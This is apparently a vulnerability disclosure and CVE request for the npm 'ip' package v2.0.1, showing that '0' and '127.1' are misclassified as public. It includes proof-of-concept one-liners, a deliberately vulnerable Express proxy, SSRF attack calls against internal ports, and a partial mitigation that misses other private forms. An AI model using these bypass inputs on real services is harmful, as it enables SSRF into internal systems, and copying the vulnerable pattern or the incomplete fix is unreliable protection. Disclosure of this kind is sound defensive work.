Multiple critical input validation bypass vulnerabilities exist in the NPM IP package v2.0.1 ip.isPublic()
and ip.isPrivate()
functions. These vulnerabilities allow attackers to bypass Server-Side Request Forgery (SSRF) protection mechanisms by using alternative IP address representations that are incorrectly classified as public when they actually resolve to private/loopback addresses.
"0"
→ resolves to 127.0.0.1"127.1"
→ resolves to 127.0.0.1ip.isPublic(address)
- Returns incorrect true
for private IPsip.isPrivate(address)
- Returns incorrect false
for private IPs"0"
)const ip = require('ip');
console.log(ip.isPublic("0")); // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("0")); // Returns: false (INCORRECT - should be true)
The address "0"
resolves to localhost (127.0.0.1
) in most network stacks but is incorrectly identified as public.
"127.1"
)const ip = require('ip');
console.log(ip.isPublic("127.1")); // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("127.1")); // Returns: false (INCORRECT - should be true)
The address "127.1"
is equivalent to 127.0.0.1
in standard networking but is incorrectly identified as public.
console.log(ip.isPublic("127.0.0.1")); // Returns: false (CORRECT)
console.log(ip.isPrivate("127.0.0.1")); // Returns: true (CORRECT)
The vulnerabilities stem from inadequate input validation and IP address normalization in the IP parsing logic. The functions fail to:
0
) and shortened formats (127.1
)var ip = require('ip');
// Vulnerable SSRF protection pattern (commonly used)
function makeRequest(userUrl) {
const url = new URL(userUrl);
const hostname = url.hostname;
// Intended protection - BYPASSED!
if (ip.isPublic(hostname)) {
// Attacker gains access to internal resources
return fetch(userUrl);
} else {
throw new Error("Private IP access denied");
}
}
// ATTACK EXAMPLES:
makeRequest("http://0:3000/admin"); // ✓ BYPASSED - null route attack
makeRequest("http://127.1:8080/api"); // ✓ BYPASSED - shortened format attack
makeRequest("http://127.0.0.1:3000"); // ✗ BLOCKED - correctly identified
// Express.js endpoint with SSRF protection
app.post('/proxy', (req, res) => {
const targetUrl = new URL(req.body.url);
if (ip.isPublic(targetUrl.hostname)) {
// VULNERABLE TO BYPASS ATTACKS
fetch(req.body.url).then(data => res.json(data));
} else {
res.status(403).json({error: "Private IP blocked"});
}
});
npm install ip@2.0.1
# Test null route bypass
node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));"
# Test shortened format bypass
node -e "const ip=require('ip'); console.log('127.1 bypass:', ip.isPublic('127.1'));"
# Verify correct behavior
node -e "const ip=require('ip'); console.log('127.0.0.1 correct:', ip.isPublic('127.0.0.1'));"
true
(bypasses), last returns false
(correct)// Enhanced validation function
function isReallyPublic(address) {
// Handle bypass techniques
if (address === '0' ||
address.startsWith('127.') ||
address.match(/^127\.\d+$/)) {
return false;
}
return ip.isPublic(address);
}
Security Researcher
Previous CVE Discoveries: CVE-2023-42282 (NPM IP Package v1.1.8)
Research Focus: Input validation bypass techniques and SSRF vulnerabilities
Requested CVE Assignment For:
Multiple IP address format bypass vulnerabilities in NPM IP Package v2.0.1 affecting ip.isPublic()
and ip.isPrivate()
functions, leading to Server-Side Request Forgery (SSRF) attacks through null route ("0"
) and shortened IP format ("127.1"
) inputs that resolve to localhost but are incorrectly classified as public.
CVSS 3.1 Score: 9.8 (Critical)
CWE Classification: CWE-20 (Improper Input Validation)